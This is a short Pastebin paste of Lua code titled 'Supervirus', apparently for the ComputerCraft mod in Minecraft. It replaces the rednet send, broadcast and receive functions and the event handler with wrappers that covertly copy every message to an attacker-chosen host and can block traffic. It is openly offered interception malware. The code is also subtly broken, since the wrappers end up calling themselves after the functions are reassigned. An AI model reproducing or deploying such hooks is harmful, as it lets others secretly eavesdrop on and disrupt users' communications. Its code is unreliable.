Advertisement
shadowkat1010

[Lua] Supervirus

Aug 18th, 2012
91
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 1.12 KB | None | 0 0
  1. local hostid = (server id here)
  2. local blockoutgoing = false
  3. local blockincoming = false
  4.  
  5. function captureSend(id, msg)
  6.  local tMessages = {id, msg}
  7.  local message = textutils.serialize(tMessages)
  8.  rednet.send(hostid, message)
  9.  if blockoutgoing == false then
  10.   rednet.send(id, msg)
  11.  end
  12. end
  13. function captureBC(msg)
  14.  rednet.send(hostid, msg)
  15.  if blockoutgoing == false then
  16.   rednet.broadcast(msg)
  17.  end
  18. end
  19. function captureIncoming(timeout)
  20.  local id, msg, distance = rednet.receive(timeout)
  21.  if id ~= nil and msg ~= nil and distance ~= nil then
  22.   local received = {id, msg, distance}
  23.   received = textutils.serialize(received)
  24.   rednet.send(hostid, received)
  25.  end
  26.  if blockincoming == false then
  27.   return id, msg, distance
  28.  end
  29. end
  30. function capturePE(filter)
  31.  event, p1, p2, p3, p4, p5 = os.pullEvent(filter)
  32.  if event == "rednet_message" then
  33.   local received = {p1, p2, p3}
  34.   received = textutils.serialize(received)
  35.   rednet.send(hostid, received)
  36.  end
  37.  return event, p1, p2, p3, p4, p5
  38. end
  39.  
  40. rednet.send = captureSend
  41. rednet.broadcast = captureBC
  42. rednet.receive = captureIncoming
  43. os.pullEvent = capturePE
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement